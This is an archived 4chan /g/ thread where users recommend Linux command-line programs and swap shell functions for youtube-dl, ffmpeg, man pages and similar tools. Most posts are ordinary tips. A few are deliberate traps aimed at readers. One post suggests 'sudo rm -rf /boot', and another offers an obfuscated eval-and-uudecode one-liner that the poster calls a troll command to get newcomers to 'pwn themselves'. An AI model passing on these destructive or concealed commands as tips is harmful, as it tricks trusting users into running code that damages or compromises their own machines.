[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
Command Line Programs?
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 156
Thread images: 12
File: youtube-dl.png (99 KB, 779x516) Image search: [Google]
youtube-dl.png
99 KB, 779x516
Any cool command line programs that you guys recommend for linux?

youtube-dl is one I recommend to start. You can download porn with it if that is your thing.
>>
>>46938335
>Any cool command line programs that you guys recommend for linux?
i don't think there is any program on linux thats exclusively a gui programm
pretty much every programm is a command line programm, you just get an additional gui for some of them
>>
>>46938394
so would the appropriate question be just "what are some cool programs in linux?"
>>
>>46938445
convert ? ssh ? i have no idea how you define "cool"
youtube-dl is a tool to download videos from some streaming services
ffmpeg is a tool to encode/reencode videos,split them, cut them, etc
there's a tool for everything.
>>
livestreamer
weechat
ncmpcpp
>>
>>46938335
htop, cmus, mpd + ncmpcpp, ncdu are pretty basic
>>
>>46938335
>Any cool command line programs that you guys recommend for linux?
I'm sure there are lots, but everyone here will be too autistic to just answer you and instead will debate the meaning of a gui versus command line program, 'the definition of cool', etc. as you can see here.

I'd just google it. (which they'll say 'startpage!!!' and argue over how to google cool command line programs).
>>
>>46938335
weechat for irc
ncmpcpp music player
pianobar pandora without the ads
youtube-viewer (similar to youtube-dl but you stream the video in mplayer or mpv and you can chose the quality).
ncdu Ncurses disk usage
newsbeuter - ncurses rss reader that has a hidden podcaster (podbeuter)
ranger - file manager
tmux - term multiplexer

there's a shit load more but those are the ones I frequently use, add some more anons.
>>
>>46938335
cowsay
>>
>>46938557
also peerflix to stream torrents, it's the program popcorntime uses
>>
>>46938557
>youtube-viewer (similar to youtube-dl but you stream the video in mplayer or mpv and you can chose the quality).

Does it work for 1080p/60fps stuff?
>>
tree
>>
>>46938597
Sequential torrent downloading is a cancer

>>46938599
Yes
>>
>>46938335
$ man man
>>
>>46938617
Eggcelent
>>
apt-get ?
>>
>>46938641
?
>>
>>46938638
>not man -H man
>>
>>46938722
it's a cool command line program
installs everything i need with just 1 line and i don't even have to search the web for installers
>>
>>46938731
>man: no browser configured, so cannot show HTML output
>>
ncurses for life
>>
>>46938557
>youtube-viewer
>stream to mpv

don't youtube-dl already do that? i mean, it works perfectly for me, I just go "mpv URL" and it plays the best quality video.
>>
Can you search with youtube-dl instead of having to go on youtube anyways an dpost the url?
>>
>>46938807
just set a browser in your env variables and with the -H flag you will view the man pages in your default browser.
It's kind of useful when reading a long ass man page not when checking for a specific flag on the go.
>>
>>46938849
>>46938858
this, also with youtube-viewer you can sign in to your account and view your subscriptions, like dislike sub and favorite and display video comments.
>>
>>46938501
if "cool" means "use almost every day" then convert and ssh are in the top five. rsync, gpg2, mpd + the sonata GUI, irssi + figlet, ncdu, mount + umount, wireless, pkg_tools, cvs, etc.
>>
>>46938897
aw awesome anon thanks. forgot about that. KNow I done it before.

Is there a way to get more than 20 results?
>>
>>46938335
ed
>>
sudo apt-get install stress
>>
rtorrent
>>
>>46938335
pipes.sh
>>
sudo rm -rf /boot
>>
>>46938394
Isnt that how all programs work?
Its not only on linux.
>>
Telnet telehack.com
>>
>>46938557
Fuck tmux and it's arcane default key bindings
>>
>>46940988

IIRC, programs on Windows compiled with -mwindows (or whatever switch is used with MSVC) will not output shit to stdout
>>
Is there any way to get the audio only with youtube-dl ?
>>
>>46940976
>telling people to do that on /g/
>>
File: 1396874176121.png (267 KB, 540x572) Image search: [Google]
1396874176121.png
267 KB, 540x572
>>46938335
>youtube-dl is one I recommend to start. You can download porn with it if that is your thing.
You can use livestreamer to rip streams from camwhore sites like chat r bait
>>
screen
>>
File: key.gif (2 MB, 500x281) Image search: [Google]
key.gif
2 MB, 500x281
>>46942844
function yt-dl
{
youtube-dl \
--continue \
--output 'youtube-dl_%(extractor)s-%(id)s-%(title)s.%(ext)s' \
"$@"
}

function yt-dl-mp3
{
youtube-dl \
--audio-format mp3 \
--continue \
--extract-audio \
--output 'youtube-dl_%(extractor)s-%(id)s-%(title)s.%(ext)s' \
"$@"
}

function yt-dl-webm
{
if [[ $# -ne 3 ]]; then
echo "Usage: ${FUNCNAME} [POSITION] [DURATION]"
return 0
fi

local _id=$(echo "$1" | sed 's/^.*v=\([0-9A-Za-z_-]*\).*$/\1/')

youtube-dl -q "$1" -o - 2>/dev/null \
| ffmpeg -i - -ss "$2" -t "$3" -vcodec libvpx -an -y "$_id".webm &>/dev/null
}
>>
imagemagick
>>
>>46938335
Ffmpeg and mencoder, for video conversion/etc, I use it for work
>>
>>46943039

Thanks bro, but am I supposed to make this a script in unix and run it ?
>>
>>46942844

youtube-dl --extract-audio --audio-format mp3 [video]
>>
>>46943178
see
>>46943231

Basically, just run youtube-dl like this:
youtube-dl --extract-audio --audio-format mp3 URL


To use these functions, you need to save them into your ~/.bashrc file and restart the terminal.

Protip: man is the best linux command EVER
man youtube-dl
>>
>>46943135
>>46938501
Can anyone tell me how to install ffmpeg without a wall of text that basically says "install avconv" or some shit. I have been trying to install it on debian, and I am getting the most convoluted answers on how to install it.
>>
>>46943291

hmm thanks again. With your script though the mp3 is the lowest quality. How can I fix this ?
>>
>>46938335
>Any cool command line programs that you guys recommend for linux
>Linux
>fun
you people sicken me
>>
>>46943401
man youtube-dl
>>
>>46943445
Hey richard, you mum is calling!
>>
What distro are you using?

The bsdgames package is always fun for killing an hour's time or so.
>>
>>46942853
/g/ is the only place where people have gahnoo/loonix, so the logic is sound.
>>
>>46942783
What do you suggest would be better (both in terms of keybindings and actual multiplexing)?
>>
>>46938335
cowsay
>>
>>46945466
>cowsay
ponysay
>>
>>46945466

cowthink master race reporting in
>>
>>46938335
tmux, without it all other CLI tools are pretty retarded
>>
>>46938335
Why people would do this instead of just using a browser extension I do not know.
>>
SSH.
mpd + ncmpcpp is pretty cool too.
>>
>>46945555
Because it's more convenient, and it's independent from your browser process.
>>
>>46945555
I can download videos from work to watch when I'm at home.
>>
>>46945555
youtube-dl is not only for youtube. You can download near every shit from every website.
>>
>>46945611
s/www\./ss/

Works much easier
>>
How would I open a file in mpv without having tge terminal stick around?

$ mpv testfile
then it opens but the terminal stays
>>
awk.
>>
>>46938527
I'll look into some of these.
>>
>>46945651
(mpv file &)

& sends mpv in the background
() sends mpv out of your terminal

you can close the terminal after the command
>>
>>46945651
By opening the file with your GUI file manager.
>>
>>46945651
write a script to fork and run it.
>>
https://gist.github.com/yunga/e63b6a2f80fcf4d4659c
>>
>>46945627
what?
>>
>>46943039
Another easy way would be:

 
youtube-dl -F insert.youtube.url.com


Then select the format option number you'd like to download.

 youtube-dl -f 412 insert.youtube.url.com 
>>
File: out.png (113 KB, 779x516) Image search: [Google]
out.png
113 KB, 779x516
convert -flip -blur 34 ./1425947601833.png out.png
use convert to shrink large images
xclip is also one of my favs
>>
# Sample egrep regex

egrep '^(From|Subject):'

egrep '(gr[ae]y)|([Cc][Aa][Tt])' #match 'grey', 'gray', or ('cat' disregarding case)

egrep '[-0-9A-Z_!.?]' # matches a dash,digit, uppercase letter, underscore, exclamation point, period, or a question mark.

egrep '[^a-z]' # match any character that is not a lowercase letter.

egrep '\<([A-Za-z]+) +\1\>' # find find repeat words.

>>
>>46938335
What system/wm/theme is that?
>>
>>46946044
Not him, but Openbox + Numix probably.
>>
unfortunately extracting audio from youtube-dl still downloads the video even if you don't want video.
>>
>>46938335
moc
>>
>>46946147
Of course. Youtube doesn't deliver single streams, only containers with both.
>>
Anyone else getting this error when using youtube-dl?
ERROR: unable to download video data: HTTP Error 403: Forbidden
>>
>>46946546
>being this unspecific
Can you access the video in your browser?
>>
>>46940988
windows programs tend to be giant monolithic clusterfucks that rely on shit like MFC.
>>
>>46938617
>Sequential torrent downloading is cancer

Haha look at this upset turbonerd not wanting to start watching right away.
>>
>>46946586
yes, I just realized I used a version from about a year ago ...
2014.02.17

probably caused the error
>>
>>46946691
run youtube-dl -U
>>
>>46946893
I installed it via apt-get so it wouldn't let me.
Now I just used wget like the youtube-dl website suggested and everything works.
Sorry for bothering you with that.
>>
lfm (file manager)
mocp (music player)
mpsyt (youtube interface)
qbittorrent-nox (pretty obvious)
>>
>>46946979
>I installed it via apt-get so it wouldn't let me.
never change, debian.

And I mean literally never
>>
fortune
>>
>>46938335
OP, this seems to be your lucky day.
Have fun spending days browsing this website:
https://inconsolation.wordpress.com/
>>
>>46948868
>>46948868
Not OP, but thanks for sharing.
>>
xkill is god tier.
>>
>>46938731
>-H
that's awesome, thanks
>>
>>46945738
if you pass "www.youtube.com" through sed with the argument "s/www\./ss/", you get "ssyoutube.com", which appears to be a youtube downloader site
>>
>ctrl+f, no moreutils
I like vidir the most.
>>
>torrent-mount
You can mount torrent files as FUSE filesystems. You can set it up for no buffering too. Usually I peek into torrent files with mediainfo or ffmpeg with it.
>>
>>46946371
umm, except for DASH
>>
>>46946979
>>46947285
youtube-dl changes every other day. It's better to have it somewhere in your $HOME, put it in your path and run youtube-dl -U regularly.
>>
>>46942844
Cringe if you use it to listen to music.

Youtube quality sucks (and I'm not a audiophile FLAC freak).
>>
>>46949742
It'd be nice if youtube supported audio-only streams due to things like podcasts.
>>
Is there a way to send commands like --no-video to mplayer via youtube-viewer
>>
scdl
can download single songs and even all songs of a user from soundcloud
>>
>>46949862
Just use youtube-dl, it works better even for that.
>>
Try the tools from suckless.org and another programme called 'sl' which is basically short for an ASCII steam locomotive that runs through your screen.
>>
Bitflu
http://bitflu.workaround.ch/

Comes with a webui and a telnet client.
>>
weechat or irssi for irc, I prefer weechat but irssi is great too
fdupes - check for duplicate files
mosh - ssh replacement
>>
File: a.png (34 KB, 568x364) Image search: [Google]
a.png
34 KB, 568x364
>>46949770
thanks to dash you can download/stream just the audio

ignore the cache errors, mpv's a bit too impatient for my internet connection
>>
File: 1425271863642.jpg (39 KB, 480x640) Image search: [Google]
1425271863642.jpg
39 KB, 480x640
>>46949742
Hey faggot, show me your face when you finally realize that I have SO MUCH FUN converting plain .mp3's to .flac and put them in my shared folder/torrents/everywhere and laugh when you fags have fun complaining "I hear the difference".
>>
File: 1425633394241.png (57 KB, 200x200) Image search: [Google]
1425633394241.png
57 KB, 200x200
>>46950952
based cp, mv, rm fag reporting in
No need for file managers on GNU/Linux.
>>
>>46951029
Whoopsi, failquoted.
>>
>>46951047
>>46951029
Fun fact: There is a "[Post a Reply]" link on the bottom of the page.
I learned that recently.
>>
>>46950952
But if you convert an .mp3 to a .flac it's not going to magically restore the lost extra detail through compression.
>>
File: aria26.png (143 KB, 1366x768) Image search: [Google]
aria26.png
143 KB, 1366x768
aria2c
http://aria2.sourceforge.net/

>Aria2 is a free and open source lightweight multi-protocol & multi source command line download utility. It supports HTTP/HTTPS, FTP, Bittorrent and Metalink. It can be manipulated via built-in JSON-RPC and XML-RPC interfaces. Aria2 offers a series of key features such as multi-connection download, lightweight utility, fully featured Bittorrent client, download Metalinks and remote control.
>>
File: dark-green-256.png (62 KB, 395x568) Image search: [Google]
dark-green-256.png
62 KB, 395x568
Taskwarrior
http://taskwarrior.org/

>Taskwarrior is an open-source cross platform command-line task management tool. It allows you to capture, annotate, manipulate and present your tasks, then sync them among devices.

Pic source :
http://www.taskextras.org/projects/taskwarrior/wiki/Taskwarrior_-_the_wiki.1
>>
>>46951175
>implying all the scrolling work
>>
File: commandlinefu.com.png (381 KB, 1177x2802) Image search: [Google]
commandlinefu.com.png
381 KB, 1177x2802
commandlinefu

>commandlinefu.com is the place to record those command-line gems that you return to again and again.

>Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

http://www.commandlinefu.com/commands/browse/sort-by-votes
>>
File: 1425633927243.jpg (20 KB, 335x250) Image search: [Google]
1425633927243.jpg
20 KB, 335x250
Some related functions I hacked together:

Search commandlinefu for keyword:
function clfus
{
curl -sL "commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"
}


Random commandlinfu "fortune":
function clfuf
{
curl -sL commandlinefu.com/commands/random/plaintext | sed '3,4!d'
}
>>
Description : Mencal is a simple variation of the well-known unix command cal.
: The main difference is that you can have some periodically repeating
: days highlighted in color. This can be used to track
: menstruation (or other) cycles conveniently.
>>
>>46938335
Thank you op, I can't stop laughing.
>>
File: 1425432383163.png (128 KB, 1446x1165) Image search: [Google]
1425432383163.png
128 KB, 1446x1165
>>46951584
Indeed, today OP was not a faggot.
>>
>>46948868
This blog is amazing. Underrated post.
>>
>>46949259
pkill ftw
>>
>>46938335
just get flashgot addon for firefox, it allows you to download different quality versions of a video or just download audio track only
>>
>>46951647
killall -9 PROCESS_NAME

aliased to 9
>How I do it.
>>
>>46938501
Ya, what the fuck? OP's definition of a "cool command line program" is something he can download porn with.
>>
rsync
sed
grep
ffmpeg
dd
btrfs
curl
netcat
ssh
qemu

All beautifully executed command line programs. There are many more of course but these are the best ones that come to mind on the fly.
All seem relatively simple at first but dig deeper into the man pages and each are stupidly versatile & featureful.
>>
pandoc - convert text any fucking way you want, default operation is markdown to HTML, but it can read a bunch of markup languages and write LaTeX, PDF (via pdflatex), DOCX, ODT, and EPUB, as well as all its input formats.
>>
>>46951712
No, just don't.
>>
>>46951712
Dude that is a really REALLY bad alias to make.
>>
>>46943303
If you can't just apt-get it then something is very wrong.
>>
>>46951712


On your knees, slut.
>>
>>46938731

>man -H ascii

ayy
>>
>>46951765
I'd like to add:

mpv
imagemagick
awk
wget
emacs
>>
>>46951712

Tell me how you go that name.
>>
>>46952077
#u3;5M6pU in name field
>>
>>46952075
agreed
>>
>>46951839
plz xplain I use it too
>>
Hi.
>>
>>46938501
>>46938557
Faggot
>>
Someday you will write '9 1' in a script.
>>
>>46952307
Hes using aliases correctly but using a single digit for an alias can bugger some shit up because people usually use single digits to assign variables in scripts. If they don't have their own ENV and inherit yours they can explode in your face.
>>
does anybody know the difference between having a username in the sudoers file vs allowing users in the wheel group sudo access?
>>
>>46938335
Here's a fun troll command to get noobs to pwn themselves:

eval $(echo "I<RA('1E<W3t`p&r()(g8f6/&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
>>
>>46952980
Granting unrestricted sudo root access to a single user vs the wheel group?
>>
>>46952075
>>46951765

netpbm (Unix flavored imagemagick)
gst-launch (video netpbm)
parallel/xargs -P
find
>>
>>46953100
yes
>>
>>46953100
>>46953336
i mean, does the wheel group have as much privilege as the single user?
>>
>>46938527
I started using livestreamer and it is pretty useful. especially if you setup your own rtmp server, then you can stream to people using OBS+the server. no more middlemen like livestream, ustream, twitch.
>>
>>46953336
>>46953349
The purpose of sudo is to escalate privileges. Unrestricted root access is unrestricted root access, no matter who the original user or group was. It doesn't matter, in other words.
>>
>>46953393
cool. thanks, guy
>>
Paste this to your shell:

echo -e "\n" 'betterman() { vim <(man "$@") +"setf man" +TOhtml +"w /tmp/.m.html" +"qa!" && $BROWSER /tmp/m.html; }' >> ~/.$(basename $SHELL)rc && exec $SHELL


It will automatically add a function to your .zshrc or .bashrc.
It adds a command: betterman.
When you type for example:
betterman bash
it will put colored manpage into your browser, according to your vim colorscheme.

Make sure that you have $BROWSER set and vim installed.
>>
>>46953436
I fucked up, the working version:
echo -e "\n" 'betterman() { vim <(man "$@") +"setf man" +TOhtml +"w /tmp/.m.html" +"qa!" && $BROWSER /tmp/.m.html; }' >> ~/.$(basename $SHELL)rc && exec $SHELL
>>
>>46942783
> get used to it
> rebind keys
Pick one and shut the fuck up
>>
>>46953436
>>46953469
Just use vim as your manpager
Thread replies: 156
Thread images: 12

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.